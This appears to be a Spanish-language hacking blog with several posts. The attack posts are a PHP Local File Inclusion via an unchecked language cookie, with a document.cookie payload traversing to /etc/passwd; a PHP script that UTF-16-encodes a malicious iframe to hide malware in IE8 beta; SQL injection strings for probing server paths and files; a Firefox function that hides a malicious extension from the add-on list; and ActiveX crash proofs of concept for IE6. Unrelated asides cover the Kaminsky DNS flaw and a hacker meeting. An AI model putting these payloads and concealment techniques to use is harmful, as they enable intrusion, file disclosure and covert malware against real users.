Insecure Cookie Handling (LFI)
Últimamente vemos muy a menudo la vulnerabilidad Insecure Cookie Handling en PHP Scripts. La vulnerabilidad se debe a una mala comprobación de los parámetros pasados a las Cookies, cuyo script las utiliza para hacer cosas importantes como el login para la cuenta de administrador, por ejemplo. Pero hoy este no es el caso, si no, una cosa más extraña. En la que parece que fui el primero en publicar un bug con este tipo de vulnerabilidad, el cual consiste en hacer un Local File Inclusion a través de la vulnerabilidad Insecure Cookie Handline. Suena raro, no? pero veremos como no es una cosa del otro mundo y para nada difícil de comprender.
Código vulnerable:
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
$_SESSION['language'] = $_COOKIE['language'];
}….
if(LANG == “”){
if(!isset($_SESSION['language'])){
include(”lang/english/lang.php”);
$_LANG = “english”;
} else {
include(”lang/”.$_SESSION['language'].”/lang.php”);
$_LANG = $_SESSION['language'];
}… }
Este es el que código que nos permite vulnerar el sistema. Como vemos no hace falta tener conocimientos avanzados de PHP para poder comprender el funcionamiento, lo que si debemos saber es que la variable $_COOKIE puede ser definida por nosotros, es decir, fijaros con atención, vemos como le asigna el valor de COOKIE pasado por nosotros a SESSION.
$_SESSION['language'] = $_COOKIE['language'];
Ahora tenemos nuestro valor que estaba en COOKIE, el mismo, lo tenemos en SESSION. Ahora vemos un condición que dice que si SESSION no existe, haz esto.
if(!isset($_SESSION['language'])){
include(”lang/english/lang.php”);
$_LANG = “english”;
Pero como en nuestro caso si existe porque le pasamos el script le asigno el valor de COOKIE al que nosotros previamente le habíamos insertado nuestro valor. Entonces el script trabajaría con lo que dice el else.
else {
include(”lang/”.$_SESSION['language'].”/lang.php”);
$_LANG = $_SESSION['language'];
}
Y como vemos hace uso de la función include para incluir la variable $_SESSION['language'], la cual esta definida por nosotros, es decir, un caso real y práctico de LFI mediante Insecure Cookie Handling.
La forma de darle valor a COOKIE es la siguiente:
javascript:document.cookie=”language=../../../../../../../../../../etc/passwd%00; path=/”;
./exploit MySQL Quick Admin <= 1.5.5 (COOKIE) Local File Inclusion Vulnerability
Internet Explorer 8 Beta, masking malware
Es posible ocultar Malware en IE 8 Beta, a sí como los orígenes de las solicitudes que por nuestra parte no queremos que los usuarios vean de donde procede la llamada, ya sea por temas víricos u otras cuestiones. Todo esto es posible mediante la utilización de la codificación UTF-16 Big endian. Tenemos Big endian y little que se refieren al orden en el que los bytes se almacenan en memoria. La arquitectura de Windows fue diseñada para little UTF-8, por lo que se ha investigado al cambiar un meta de contenido UTF-8 a UTF-16 podemos llegar a ocultar malware dentro de MSIE8B.
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-16″ />
Sin embargo, también es posible codificar todo un archivo a UTF-16BE. Esto tiene el mismo resultado que la fijación de caracteres manualmente (meta) como vimos arriba. Para esta segunda opción programamos un pequeño script que convierte los caracteres de UTF-8 a UTF-16.
<?php
function utf16($str) {
$utf8 = utf8_encode($str);
if(function_exists(’mb_convert_encoding’)) {
return mb_convert_encoding($utf8, ‘UTF-16′, ‘UTF-8′);
} else {
return $str;
}
}
echo utf16(’<iframe src=”http://www.google.com/malware/malwarez.html”></iframe>’);
?>
Esto sirve para ocultar código fuente de una página web con código malicioso.
Blind SQL Injection, tool
No hace mucho nuestro amigo ka0x publicó un paper en milw0rm explicando la vulnerabilidad conocida como Blind SQL Injection o en español inyección a ciegas. En el paper encontré un código bastante flexible para crear a partir de el exploits para este tipo de ataques. Yo no tardé mucho en ponerlo en práctica y tras encontrar una vulnerabilidad del tipo BLIND en el CMS WebCMS Portal Edition creé el exploit a partir de dicho código.
./exploit WebCMS Portal Edition (index.php id) Blind SQL Injection Exploit
MSSQL, Verify Path Exists
En la entrada posterior a esta hablábamos de la forma de verificar archivos existentes en el servidor mediante consultas SQL y analizando las respuestas otorgadas por el gestor de base de datos. Ahora tenemos un caso muy parecido, analizaremos si tal Path existe en el servidor.
[Sql String - non-existant path]
test’ union select name from msysobjects in ‘\nopath\sqlerr[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] ‘C:\nopath\sqlerr’ is not a valid
path.
Make sure that the path name is spelled correctly and that you are
connected to the
server on which the file resides.[Sql String - existant path]
user = test’ union select name from msysobjects in ‘\inetpub\sqlerr[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file
‘C:\inetpub\sqlerr’.
MSSQL, Verify File Exists
Nunca esta de más saber estas cosas que en algún momento pueden servir. Para buscar archivos en los directorios webs es fácil, porque Apache te responderá con un mensaje de verdadero o falso por a sí decirlo.
file: spanish-hackers.com/index-2.html
The requested document was not found on this server.
Si existe puede pasar tres cosas: primero que accedamos al archivo sin ningún problema, segundo que Apache nos responda que no tenemos permisos para acceder al archivo y tercero una página en blanco. Pero en estos tres casos nos confirmó la existencia del documento. Pero ahora que pasa si tenemos un SQL Injection a mano y queremos saber si ese servidor tiene tal archivo en tal directorio del sistema (no de los directorios webs).
[Sql String - non-existant file]
user = test’ union select name from msysobjects in ‘\proof[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file ‘C:\proof’.[Sql String - existant]
user = test’ union select name from msysobjects in ‘\proof.txt[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
‘C:\proof.txt’.
Hackmeeting 08 ¿Nos vemos allí?
Este año como se ha venido realizando en ocasiones anteriores se celebrara el tan conocido Hackmeeting esta vez en la provincia de Málaga más concretamente en el centro social la invisible. El 17,18,19 de octubre (fin de semana) así que teneis excusa. Si vas a estar por allí deja un comentario y nos tomamos algo mientras hablamos del último exploit para Apache 
.
Mozilla malware, Hide It
Existen diversas maneras de programar Malware para los navegadores, es cada vez una práctica más común entre la red, debido al gran éxito que logran este tipo de ataques. Hay pocos Malwares que se basen en vulnerabilidades de la propia versión del navegador, estos se suelen concentrar en plugins de instalación y en los mismos errores de estos plugins.
Firefox permite tener una muy buena interacción con sus extensiones. A si que la idea podría ser, ocultar Malware de los ojos de los usuarios. Este ejemplo de a continuación esconde Malware del add-on lista, que lo hace invisible para la numeración.
function stealth(ext) {
var a = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.
interfaces.nsIRDFService);var b = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.
interfaces.nsIRDFContainer);var c = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.
interfaces.nsIExtensionManager).datasource;b.Init(c, a.GetResource(”urn:mozilla:item:root”));
var e = b.GetElements();
while (e.hasMoreElements()) {
var extention = e.getNext();
if (c.GetTarget(extention, a.GetResource(”http://www.mozilla.org/2004/em-rdf#name”), true).QueryInterface(Components.interfaces.nsIRDFLiteral).Value == ext) {
b.RemoveElement(extention, true);
}
}
}
stealth(”Extension Name”);
Cuando esta función se añade a una fuente de un paquete de instalación XPI, la ampliación ya no aparece en el add-on lista (plugin lista), por lo que tendremos escondido con éxito nuestro programa malicioso.
Grave vulnerabilidad en DNS
A estas alturas ya todos estareis más que enterados de la grave vulnerabilidad que esta afectando a la mayoria de los servidores DNS. Dan Kaminsky descubrio este fallo hace un tiempo ya y presentará más detalles el jueves en las conferencias de Blackhat (ya se conocen los detalles del bug ver *). Os escribo esta nota rapida para que comprobeis si vuestro ISP es vulnerable, a traves de la página de Kaminsky podemos comprobar si vuestras DNS son vulnerables o no. Algunos famosos ISP como Telefonica y Ono son aún vulnerables (¿muy lamentable?). Recomiendo el uso de servidores DNS de OpenDNS.
Servidores DNS seguros
208.67.222.222 / 208.67.220.220.
*UPDATE!: Información sobre el fallo
http://darkoz.com/?p=15
Exploits 0day´s coming s00n!
Análisis de un troyano
A traves del blog de Sergio Hernando me entero de quela gente de websense ha publicado un detallado informe sobre el metodo en el que trabaja un troyano dirigido al robo de credenciales bancarias (ya, no es que sea novedad) pero muestra desde el payload que usa para descargarse hasta el metodo de transmisión de las credenciales. Interesante sin duda.
MSIE 6, Hacks!
Los PoCs juegan con Active-X, son simples y sencillos como casi todos, a sí que creo que no hace falta que los explique. Están probados en MSIE 6.0.2900.2180 SP2. Y estamos a la espera de que sean probados en MSIE 7 y posteriores… Si saco un rato los pruebo yo mismo. De estos PoCs pueden surgir muchas variaciones, solo hay que darle cuerda al head, xD!.
Testeados en: MSIE 6.0.2900.2180 SP2
<script>
for(i=0;i<33;i++){
try{
foo = new ActiveXObject(”OutlookExpress.AddressBook”).concat(’3′+’3′+’3′);
}catch(e){}
}
</script>
<script>
for(i=0;i<33;i++){
try{
foo = new ActiveXObject(”OutlookExpress.AddressBook”).join(1,1,1);
}catch(e){}
}
</script>